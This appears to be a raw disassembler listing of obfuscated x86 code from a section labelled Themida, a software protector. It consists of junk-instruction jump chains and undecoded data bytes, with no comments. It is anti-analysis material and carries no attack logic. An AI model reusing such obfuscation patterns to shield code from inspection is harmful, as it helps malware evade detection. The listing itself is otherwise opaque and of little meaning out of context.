		dd 39420CC3h, 0A5EB810Ch, 0E92EED07h, 4721h
; ---------------------------------------------------------------------------


loc_54A084:				; CODE XREF: Themida_:0055109Aj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_54A096:				; CODE XREF: Themida_:00551D1Bj
		or	eax, 3F037656h
		xor	eax, 4F8654ECh
		jmp	loc_551C04
; ---------------------------------------------------------------------------
		db 5Dh,	5Eh, 61h
		dd 66E9C39Dh, 81FFFFF7h, 561F14E3h, 12A9E915h, 0E9AD0000h
		dd 0B63h
; ---------------------------------------------------------------------------


loc_54A0C0:				; CODE XREF: Themida_:0054D37Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_553F86
; ---------------------------------------------------------------------------
		db 88h,	0E6h, 58h
		dd 61E9F028h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A0DB:				; CODE XREF: Themida_:0054D964j
		pop	ecx
		and	edi, 796861ACh
		shl	edi, 1
		add	edi, 1
		jmp	loc_54B9C3
; ---------------------------------------------------------------------------
		dd 2C81565Fh, 0FFFFFF24h, 0AC58E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A0FA:				; CODE XREF: Themida_:0054B16Fj
		pop	esp
		jmp	loc_55590F
; ---------------------------------------------------------------------------
aBlDCsG		db 'l$',8,'ÎdìCé{g',0
		dd 240C8B00h, 0E904C483h, 36E9h, 0CB3130B8h, 8E0C101h
		dd 5E05D0F7h, 8117AF99h, 0DD5DF6EBh, 0E9C3290Dh, 851Ch
; ---------------------------------------------------------------------------


loc_54A134:				; CODE XREF: Themida_:0054F70Cj
		add	esp, 4


loc_54A137:				; CODE XREF: Themida_:loc_54B5DAj
					; Themida_:0054F310j
		push	dword ptr [edi+24h]
		push	ebp
		push	eax
		mov	eax, 451C4C1Bh
		jmp	loc_549CDC
; ---------------------------------------------------------------------------


loc_54A146:				; CODE XREF: Themida_:0054C7DCj
		mov	edi, esp
		add	edi, 4
		jmp	loc_54F0E7
; ---------------------------------------------------------------------------


loc_54A153:				; CODE XREF: Themida_:0054AA26j
		mov	[esp], ecx
		mov	ecx, 67F53B91h
		or	ecx, 2F104E03h
		jmp	loc_54C1F3
; ---------------------------------------------------------------------------


loc_54A166:				; CODE XREF: Themida_:0054FF5Bj
		xor	ebp, 24051004h
		sub	esi, 73B8082Ch
		jmp	loc_54C407
; ---------------------------------------------------------------------------


loc_54A177:				; CODE XREF: Themida_:0054BCB0j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	41EAh
		mov	[esp], ebp
		mov	ebp, 40h
		and	ecx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_551D55
; ---------------------------------------------------------------------------
		dd 8103E1C1h, 286DB0E9h, 4E1C159h, 4C49E981h, 0CD314171h
		dd 877BE9h, 24048100h, 4, 5124048Fh, 3828E9h, 9DC28100h
		dd 0F775896Bh, 57C281DAh, 894937ECh, 0DF295AD7h, 815FFB89h
		dd 210122F3h, 8EBC16Ch,	6215BA52h, 0D2F731C5h, 57DCEA81h
		dd 0D2F71E0Ch, 88D3F281h, 0D301B0B3h, 8BDA015Ah, 0D1E9241Ch
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A217:				; CODE XREF: Themida_:00549C65j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54E737
		push	dword ptr [edi+1Ch]
		push	esi
		push	edi
		push	ebp
		mov	ebp, 43A11883h
		mov	edi, ebp
		pop	ebp
		mov	esi, 58082F37h
		sub	esi, edi
		pop	edi
		sub	dword ptr [esp+4], 0EA05ECFh
		sub	[esp+4], esi
		push	483Dh
		jmp	loc_54A537
; ---------------------------------------------------------------------------
		db 0BFh, 0BDh, 50h
		dd 0FB29F9CEh, 0C7BF575Fh, 0E923AF6Ah, 0A3EEh
; ---------------------------------------------------------------------------


loc_54A264:				; CODE XREF: Themida_:005512D4j
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebx
		mov	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_54E072
; ---------------------------------------------------------------------------
		db 5
		dd 4EDB61EDh, 0F705E8C1h, 0D0F740D0h, 41AC6E2Dh, 58C10106h
		dd 8704C183h, 565C240Ch, 0E9525E5Bh, 6BEAh, 6824348Bh
		dd 1B6Ch, 0E9240489h, 1D6Fh
; ---------------------------------------------------------------------------


loc_54A2C0:				; CODE XREF: Themida_:0055584Ej
		xor	ebp, 580726C7h
		sub	ebp, 55527BA7h
		jmp	loc_54BDA6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124148Bh, 4C4h, 4C48100h, 83000000h, 343302C6h, 845CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A2EE:				; CODE XREF: Themida_:00553A4Ej
		mov	[esp], ebx
		jmp	loc_54E4BD
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 24048966h, 0FFF510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A305:				; CODE XREF: Themida_:00554E28j
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55004C
; ---------------------------------------------------------------------------
		db 0BAh, 1, 1Bh
		dd 0A5681776h, 89000017h, 0BF572434h, 17761AFDh, 0AA92E9h
		dd 7EBC100h, 8103E3C1h,	1B2294CBh, 95C3810Ah, 291EB1E4h
		dd 0F3015BDEh, 0E9F3015Eh, 9BC7h
; ---------------------------------------------------------------------------


loc_54A34C:				; CODE XREF: Themida_:0054F3F9j
		add	eax, edi
		jmp	loc_54E7DD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5A966800h, 58E90000h, 1000068h, 0FF575DEFh, 8B042474h
		dd 0EC81243Ch, 4, 89240489h, 2F96E9E0h,	66640000h, 5202B60Fh
		dd 0B951E289h, 4, 0C8BCA01h, 4C48124h, 0E9000000h, 3F80h
; ---------------------------------------------------------------------------


loc_54A39C:				; CODE XREF: Themida_:00550A44j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, edx
		jmp	loc_54A640
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2434h, 0C8B70F24h, 7BF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A3B9:				; CODE XREF: Themida_:005499FBj
		pop	esp
		or	eax, eax
		jmp	loc_54B5DA
; ---------------------------------------------------------------------------


loc_54A3C1:				; CODE XREF: Themida_:00553332j
		mov	[esp], eax
		mov	eax, esp
		push	edx
		jmp	loc_554573
; ---------------------------------------------------------------------------
		dd 242C895Ch, 4BDh, 246C0100h, 2434FF04h, 529FE9h, 4AAFBE00h
		dd 0C6813EBBh, 7F990FD2h, 6E6814Eh, 0C1300F7Fh,	0EE8103EEh
		dd 0D0820DAEh, 50A1E9h,	8BF03100h, 0B1E92434h, 1Ch, 51665AD0h
		dd 0ED8008B5h, 66E8006Fh, 80940459h, 0C6003CC6h, 0E93CEE80h
		dd 0C05h
; ---------------------------------------------------------------------------


loc_54A428:				; CODE XREF: Themida_:00553071j
		push	eax
		mov	eax, 61C75DFEh
		jmp	loc_54A50F
; ---------------------------------------------------------------------------
aT_sgp		db 'T_ég',0
		align 2


loc_54A43A:				; CODE XREF: Themida_:0055361Fj
		mov	esp, [esp]
		add	eax, 2DF268D3h
		add	eax, edi
		sub	eax, 2DF268D3h
		mov	edi, [esp]
		jmp	loc_54A478
; ---------------------------------------------------------------------------
aTl4SU		db 'T‹4$é}U',0
		align 2
		dw 489h
aSio		db '$éiO',0
		align 2
		dw 7368h
		dd 89000003h, 4832424h,	1C8B0424h, 0E9545324h, 722Ch
; ---------------------------------------------------------------------------


loc_54A478:				; CODE XREF: Themida_:0054A44Cj
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1AB08CFh
		mov	esi, 3F3F7B19h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 4DBD32F1h
		mov	edx, 52C8408Eh
		jmp	loc_553E4C
; ---------------------------------------------------------------------------


loc_54A4B0:				; CODE XREF: Themida_:0054ED91j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esi, 29D5583Fh
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5532A7
; ---------------------------------------------------------------------------
aLPirsK		db '‹<$P‰àéìª',0
		dd 0FDEE8100h, 57616855h, 7A41CDBFh, 5FFE0906h,	0C681DEF7h
		dd 44FB1631h, 15EF089h,	8B6658C3h, 0D3682414h, 8900002Ch
		dd 0AEE9242Ch
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A50F:				; CODE XREF: Themida_:0054A42Ej
		mov	edx, 9E38AA02h
		add	edx, eax
		push	dword ptr [esp]
		jmp	loc_553E3B
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 6824248Bh, 0EF2h,	23ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A531:				; CODE XREF: Themida_:0054CC98j
		push	ecx
		jmp	loc_54BC44
; ---------------------------------------------------------------------------


loc_54A537:				; CODE XREF: Themida_:0054A24Cj
		mov	[esp], ebx
		mov	ebx, 0EA05ECFh
		add	[esp+8], ebx
		jmp	loc_54A815
; ---------------------------------------------------------------------------
		dd 5C241487h, 0B9240C89h, 4, 18E9C829h,	81000040h, 905ADDE2h
		dd 3AF28110h, 0E95D0A2Dh, 96E0h
; ---------------------------------------------------------------------------


loc_54A56C:				; CODE XREF: Themida_:0054B825j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_54C3FF
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 59h
		dd 555EF101h, 0E904EC83h, 2FEFh
; ---------------------------------------------------------------------------


loc_54A598:				; CODE XREF: Themida_:0054D70Fj
		and	edi, 3950192Fh
		push	0FD5h
		mov	[esp], ebx
		mov	ebx, 2Fh
		xor	edi, ebx
		pop	ebx
		and	eax, edi
		pop	edi
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_55040C
; ---------------------------------------------------------------------------


loc_54A5BB:				; CODE XREF: Themida_:0054AF89j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	esi, 6C1E18BCh
		add	esi, ebx
		jmp	loc_5514D1
; ---------------------------------------------------------------------------


loc_54A5D6:				; CODE XREF: Themida_:00554CDFj
		add	ecx, 12B291h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552B9F
; ---------------------------------------------------------------------------


loc_54A5EC:				; CODE XREF: Themida_:005556C9j
		mov	ebp, esp
		jmp	loc_54C3CA
; ---------------------------------------------------------------------------
aZsc		db ')ÐZéç,',0
		db 0
; ---------------------------------------------------------------------------


loc_54A5FB:				; CODE XREF: Themida_:005528E1j
		add	esp, 4
		jmp	loc_549BA1
; ---------------------------------------------------------------------------


loc_54A603:				; CODE XREF: Themida_:0054B2A2j
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_5521CB
; ---------------------------------------------------------------------------
aSL		db '[éÏ«',0
		align 4
		dd 4C481h, 0EAC10000h, 9BB85002h, 2957BD73h, 0D60158C2h
		dd 5124148Bh, 63E95954h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A633:				; CODE XREF: Themida_:005543F0j
		shl	eax, 8
		xor	eax, 39807E04h
		jmp	loc_5516BB
; ---------------------------------------------------------------------------


loc_54A640:				; CODE XREF: Themida_:0054A3A6j
		pop	edx
		sub	[edi+24h], eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_54A65A:				; CODE XREF: Themida_:0054BC83j
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	eax
		push	60423BF9h
		pop	eax
		xor	eax, 4DB13C9Fh
		jmp	loc_54FA24
; ---------------------------------------------------------------------------
aSzq		db '!Øé‡Q',0
		align 4
		dd 6A685650h, 5E143A0Ah, 0F705E6C1h, 4E5DE9DEh,	0B7530000h
		dd 5DEF806Ah, 305BF988h, 285966CAh, 50525AD0h, 14C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A6B1:				; CODE XREF: Themida_:005539A4j
		sub	edx, 0ECF5A1FEh
		jmp	loc_54BFA8
; ---------------------------------------------------------------------------
		dd 4A574968h, 0ED835D5Ah, 7EDC101h, 0A7F6E9h, 4C18100h
		dd 0E9000000h, 2512h
; ---------------------------------------------------------------------------


loc_54A6D8:				; CODE XREF: Themida_:0054C615j
		push	0EF2h
		mov	[esp], ecx
		push	esi
		jmp	loc_552220
; ---------------------------------------------------------------------------
		dw 2AE9h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A6EB:				; CODE XREF: Themida_:00551F49j
		pop	esi
		push	ebx
		push	eax
		push	2E2B30C0h
		pop	eax
		inc	eax
		shl	eax, 4
		push	ecx
		mov	ecx, 0D6C777C8h
		xor	eax, ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_54C464
; ---------------------------------------------------------------------------


loc_54A70B:				; CODE XREF: Themida_:0054B7B3j
		sub	edx, 0C65BFCBAh
		and	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5499F5
; ---------------------------------------------------------------------------
		dd 8324048Bh, 48F04C4h,	5802E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A732:				; CODE XREF: Themida_:0054C7F1j
		add	ebp, 44962C9Ah
		xor	ebp, 97D4CDF9h
		sub	eax, 4F106475h
		add	eax, ebp
		add	eax, 4F106475h
		pop	ebp
		jmp	loc_551863
; ---------------------------------------------------------------------------
		dd 6AA9EA81h, 3DE94501h, 56000076h, 0C6815E54h,	4, 8704C683h
		dd 0E95C2434h, 38F2h, 8904EC83h, 5954240Ch, 4C181h, 0BA520000h
		dd 4, 0E95AD101h, 24A2h, 0F6EBF780h, 0E9D7F6DFh, 2897h
		dd 4C3815Eh, 812CB673h,	40144CC3h, 0F0D7E954h, 0DEF7FFFFh
		dd 933DEE81h, 0F101B80Ah, 8324348Bh, 0CD0104C4h, 4EDC159h
		dd 473BE581h, 0D9E938A0h, 4D000072h, 0B564C581h, 0EB297CCFh
		dd 0F7E9535Dh, 81000013h, 95A21EC1h, 72E32DF2h,	0C8290206h
		dd 672E305h, 0D4685902h, 89000034h, 6850242Ch, 14AC2FD1h
		dd 1DE95258h, 500009Dh,	0AB9679C8h, 48BC701h, 0E0895024h
		dd 9960E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A815:				; CODE XREF: Themida_:0054A543j
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	74EBh
		mov	[esp], esi
		mov	esi, 146716B4h
		jmp	loc_54FA46
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E95A5452h, 4D35h, 4BDh, 914FE900h, 0F35B0000h
		dd 386203A5h, 19CE9h, 6AC58000h, 8059EF20h, 0C780EECFh
		dd 66FD3002h, 45B9E95Bh, 895C0000h, 0CCBF243Ch,	817D1863h
		dd 580962C7h, 5FF801C1h, 2999E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A882:				; CODE XREF: Themida_:00552F36j
		add	esp, 4
		jmp	loc_549815
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 242C8B04h, 9D1DE9h, 4C48300h, 52F48850h, 59E9E288h
		dd 81000067h, 4C5h, 2C58300h, 8B242C87h, 1AE92424h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A8BB:				; CODE XREF: Themida_:0054E4C3j
		neg	ebx
		sub	ebx, 0D52672A3h
		and	eax, ebx
		pop	ebx
		jmp	loc_5548DA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2434FF03h, 83241C8Bh, 0C48304C4h, 17286804h,	1C890000h
		dd 56BF6824h, 0C890000h, 0FEBD5524h, 0E97DC411h, 6FE9h
		dd 8091B551h, 0EE8874F5h, 66F42859h, 7ABBE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A906:				; CODE XREF: Themida_:00553CF8j
		pop	esp
		jmp	loc_5544E4
; ---------------------------------------------------------------------------
aS3y		db ']é3y',0
		align 2


loc_54A912:				; CODE XREF: Themida_:0054B408j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_553090
; ---------------------------------------------------------------------------
		dd 685BD801h, 7AE9h, 4959E9h, 58C30100h, 5C241C87h, 4C681h
		dd 0C6810000h, 2, 8B243487h, 8B662424h,	6852240Ch, 3091h
		dd 83242489h, 5A042404h, 4C281h, 0E9570000h, 19BEh
; ---------------------------------------------------------------------------


loc_54A964:				; CODE XREF: Themida_:005532C3j
		push	edi
		push	54F8h
		mov	[esp], edx
		mov	edx, 67516868h
		push	edi
		mov	edi, 1066293Fh
		xor	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		sub	[esp+8], edi
		jmp	loc_54E807
; ---------------------------------------------------------------------------
		db 33h
		dd 1CE92404h, 0B3000004h, 7030E93Ch, 0E9500000h, 7F4Ah
		dd 2FC7E95Dh, 34FF0000h, 2434FF24h, 4C48358h, 384868h
		dd 24048900h, 89CFE9h, 48B6600h, 40956824h, 4890000h, 83585424h
		dd 3C8904ECh, 0B0BA5224h, 0E94B8B1Bh, 0AA32h, 5052D830h
		dd 0ECC012B4h, 0CBB55107h, 0FECBF580h, 0E3F580CDh, 0A182E9h
		dd 56F76800h, 2C890000h, 7FACBD24h, 0EDC15945h,	0A4C58108h
		dd 0F744BF1Ch, 0F7D5F7D5h, 0E95052D5h, 4ACDh, 62B9E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_54A153
; ---------------------------------------------------------------------------
		db 80h
		dd 0B9E90EC1h, 51000009h, 0C181E189h, 4, 1870E9h, 8885B400h
		dd 6ED1E9E3h, 0F5D0000h, 8368C0B7h, 0E900004Fh,	1A25h
		dd 0EF81EFD1h, 62581082h, 8A09EF81h, 0C1819DB2h, 551E079Ch
		dd 0E981F901h, 551E079Ch, 5F2434FFh, 492EE9h, 241C8900h
		dd 580CE9h, 8BCB2900h, 0C481240Ch, 4, 5F2434FFh, 20E6E9h
		dd 24248B00h, 8904EC83h, 5F54243Ch, 2F84E9h, 8BF30100h
		dd 0C4832434h, 4EC8304h, 0E9240C89h, 7719h, 80A3CA80h
		dd 0F280E8EAh, 29EA8060h, 27E9EAD0h, 5100008Dh,	0DC6B43B9h
		dd 2DE1812Ch, 0E96DAB33h, 8DB2h, 2B951h, 0CD290000h, 5CE9E959h
		dd 8B660000h, 0E9E92404h, 1000086h, 60E95BDDh, 8000004Bh
		dd 0B75317F2h, 5BFA30D9h, 0D0002D2Ch, 2C5A2D04h, 0B15159CCh
		dd 30E980DCh, 9D56E9h, 26800h, 815D0000h, 6B1FD1C7h, 81EF010Ah
		dd 6B1FD1EFh, 1AD5E90Ah, 68510000h, 6A6B7A9Bh, 2E9C159h
		dd 7EF18149h, 89FEC100h, 2EB7E9CEh, 835B0000h, 0E9E904ECh
		dd 8900003Ch, 0D8295AD3h, 8BC5015Bh, 0C4832404h, 8EF58104h
		dd 811E3840h, 5820D3EDh, 5E5C155h, 0A660F581h, 0E8313838h
		dd 58C3895Dh, 0FFEC90E9h, 4EC83FFh, 0BA241489h,	3Ch, 99F2E9h
		dd 4A3ABF00h, 0F74F3336h, 3E7C1D7h, 0C0AEF81h, 0F781036Ah
		dd 59A5E06Bh, 835F5A57h, 1C8904ECh, 650BB24h, 0B0E933BBh
		dd 5000050h, 442D350Bh,	2BA525Fh, 1000000h, 3A6BE9D0h
		dd 0E3890000h, 4C381h, 0C3830000h, 241C8704h, 0EFE9505Ch
		dd 0B8000099h, 233C4777h, 3EFE9h, 56B85000h, 0E94459F0h
		dd 76C1h, 6C68B850h, 0A0256EF2h, 251B1249h, 767744D6h
		dd 470E9h, 4C48300h, 7F30E9h, 8BD03000h, 83E92414h, 68000046h
		dd 1CBFh, 0BD242C89h, 2AD9172Ah, 37746E05h, 2DE8292Eh
		dd 2E37746Eh, 81242C8Bh, 4C4h, 14E80500h, 0D82923A9h, 8904EC83h
		dd 44E9241Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AC57:				; CODE XREF: Themida_:00549C20j
		add	edi, esi
		sub	edi, 23415450h
		mov	esi, [esp]
		jmp	loc_54EF7C
; ---------------------------------------------------------------------------
		dd offset dword_57EF68
		align 4
		dd 89241C89h, 4EC81E3h,	89000000h, 1EE92434h, 0C1000027h
		dd 0E5E904E6h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AC87:				; CODE XREF: Themida_:00553F43j
		push	ebp
		jmp	loc_552875
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 81E28952h, 4C2h, 4C28100h, 0E9000000h, 3EEh
; ---------------------------------------------------------------------------


loc_54ACA4:				; CODE XREF: Themida_:005512A6j
		push	ecx
		jmp	loc_554078
; ---------------------------------------------------------------------------
		dw 0E821h
		dd 57D8F75Dh, 71FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54ACB5:				; CODE XREF: Themida_:00551570j
		add	eax, esi
		jmp	loc_54BCAD
; ---------------------------------------------------------------------------
		dd 582434FFh, 4EC81h, 34890000h, 3E976824h, 8F540000h
		dd 4832404h, 685E0424h,	34E9h, 68243C89h, 4, 1C67E95Fh
		dd 48F0000h, 3E36E924h,	0E9500000h, 0A779h, 4EC81h, 24890000h
		dd 24048324h, 2434FF04h, 8DACE958h, 3C890000h, 5AB4BF24h
		dd 49E90F33h, 8100006Ch, 4C4h, 242C3300h, 33242C31h, 248B242Ch
		dd 2567E924h, 14F70000h, 0AEE95D24h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AD3B:				; CODE XREF: Themida_:0054B45Dj
		push	dx
		sub	esp, 4
		jmp	loc_55531F
; ---------------------------------------------------------------------------
		dd 575EF501h, 75CABD55h, 0CEBF6D1Eh, 296D1E75h,	0FD295DEFh
		dd 242C875Fh, 242C895Ch, 16072DBDh, 0FFE80154h,	815D2434h
		dd 4C4h, 27C56800h, 3C890000h, 2A75BF24h, 0CF811E5Eh, 49314CA5h
		dd 8904EC83h, 0B9240Ch,	29000000h, 479C68F9h, 3C890000h
		dd 4EC8324h, 0FF240C89h, 0D8E92434h, 3100003Ch,	4332404h
		dd 5C26E924h, 34330000h, 24248B24h, 0FFEA54E9h,	4C281FFh
		dd 0E9000000h, 3107h
; ---------------------------------------------------------------------------


loc_54ADCC:				; CODE XREF: Themida_:0054EFA4j
		push	ebx
		mov	ebx, 24D744FCh
		or	esi, ebx
		jmp	loc_554F70
; ---------------------------------------------------------------------------


loc_54ADD9:				; CODE XREF: Themida_:005502D4j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 8E24D43h
		jmp	loc_554BFF
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0B450241Ch, 0FECCFE98h, 0E9DCF6CCh, 173Ch
; ---------------------------------------------------------------------------


loc_54ADFC:				; CODE XREF: Themida_:0054FE6Fj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B4D5
; ---------------------------------------------------------------------------


loc_54AE0B:				; CODE XREF: Themida_:0054FA41j
		mov	eax, [esp]
		push	ebp
		jmp	loc_553F66
; ---------------------------------------------------------------------------
		dd 8104C483h, 9E3A3FEBh, 6FF3E9E4h, 0C7810000h,	5A7E869Eh
		dd 13FEE81h, 0FBE92601h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AE33:				; CODE XREF: Themida_:00553082j
		sub	edi, 269F260Eh
		jmp	loc_54DB8F
; ---------------------------------------------------------------------------
		dw 0FF59h
		dd 565D2434h, 0C681E689h, 4, 8704C683h,	0E95C2434h, 0FFFFFA4Fh
		dd 8B2434FFh, 8953240Ch, 4BD55E3h, 0E9000000h, 8F57h
; ---------------------------------------------------------------------------


loc_54AE6C:				; CODE XREF: Themida_:0054B60Ej
		add	ebx, edi
		push	edx
		mov	edx, 475167AFh
		sub	ebx, 72A60003h
		add	ebx, edx
		jmp	loc_549A00
; ---------------------------------------------------------------------------
		db 2Ch,	0A7h, 28h
		dd 11F8E9F0h, 0C890000h, 12036824h, 5590990h, 8CA5391h
		dd 801BE9h, 24048300h, 0C7815F04h, 4, 8904EC83h, 6AE9242Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AEB3:				; CODE XREF: Themida_:00554C6Dj
		pop	edx
		add	ebx, 5E91679Ch
		jmp	loc_54D245
; ---------------------------------------------------------------------------


loc_54AEBF:				; CODE XREF: Themida_:0054C28Aj
		sub	ecx, 5037981h
		jmp	loc_552B1E
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 241C8900h, 2BBh, 40C28100h, 817A1844h,	780939EAh
		dd 523E908h, 0DBF60000h, 0E9FFC380h, 317h, 0FE02EAC0h
		dd 2EC83C2h, 766BE9h, 2434FF00h, 81242C8Bh, 4C4h, 4C48300h
		dd 8B241C87h, 34FF2424h, 2434FF24h, 69ACE9h, 79FBB00h
		dd 0D829D92Ah, 44F3E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AF2E:				; CODE XREF: Themida_:0054B667j
		add	esi, 5C3B7E21h
		add	esi, ebp
		sub	esi, 5C3B7E21h
		pop	ebp
		xor	ebx, esi
		pop	esi
		push	ecx
		push	5E865E50h
		pop	ecx
		or	ebx, ecx
		pop	ecx
		shr	ebx, 7
		sub	ebx, 0DDBEFDh
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_551F98
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54DFCC
; ---------------------------------------------------------------------------


loc_54AF88:				; CODE XREF: Themida_:0054B4D9j
		pop	esi
		jmp	loc_54A5BB
; ---------------------------------------------------------------------------


loc_54AF8E:				; CODE XREF: Themida_:0054EED6j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		jmp	loc_54B1DE
; ---------------------------------------------------------------------------


loc_54AFA6:				; CODE XREF: Themida_:0055369Ej
		add	esp, 4
		jmp	loc_551F4E
; ---------------------------------------------------------------------------
aSs_		db 'SéÊ.',0
		db 0
; ---------------------------------------------------------------------------


loc_54AFB7:				; CODE XREF: Themida_:0054EE96j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		jmp	loc_549823
; ---------------------------------------------------------------------------
		dd 805DE180h, 0B450D3E9h, 80D4F68Ch, 0C4FEAEECh, 0F480DCF6h
		dd 0E9E30000h, 7255h, 0E958C101h, 9021h, 8124048Bh, 4ECh
		dd 0B4BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AFF6:				; CODE XREF: Themida_:00554C4Bj
		mov	ecx, 7B395671h
		jmp	loc_54D7E3
; ---------------------------------------------------------------------------
		dd 24048B54h, 4C481h, 4050000h,	51000000h, 4B9h, 59C80100h
		dd 0E9240433h, 34D7h
; ---------------------------------------------------------------------------


loc_54B020:				; CODE XREF: Themida_:00551D8Aj
		add	eax, 0A5EC517Fh
		add	ebp, eax
		pop	eax
		jmp	loc_54C9B6
; ---------------------------------------------------------------------------
		db 58h,	28h, 0F0h
		dd 2CC92C5Ah, 4D828E2h,	4C904E2h, 0E95166D5h, 7BCCh
; ---------------------------------------------------------------------------


loc_54B044:				; CODE XREF: Themida_:0054C402j
		xor	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_54D347
; ---------------------------------------------------------------------------
		dw 0DE31h
		dd 8BF1895Bh, 0C4832434h, 0E9CF0104h, 0A6D2h, 0E92434FFh
		dd 0FFFFFF80h
; ---------------------------------------------------------------------------


loc_54B068:				; CODE XREF: Themida_:0054EAFCj
		mov	[esp], ebp
		mov	ebp, 20E22246h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_549977
; ---------------------------------------------------------------------------
		db 0Dh,	22h, 6Eh
		dd 0EEE9165Eh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B08B:				; CODE XREF: Themida_:00554047j
		and	eax, ecx
		jmp	loc_552C81
; ---------------------------------------------------------------------------
		dw 1487h
aWhV		db '$\WhÂV',0
		align 4
		dd 81242489h, 42404h, 525F0000h, 0A85A5ABAh, 0A7E94A5Ah
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54B0B3:				; CODE XREF: Themida_:005546C3j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0F6316D1h
		shl	esi, 6
		shl	esi, 8
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
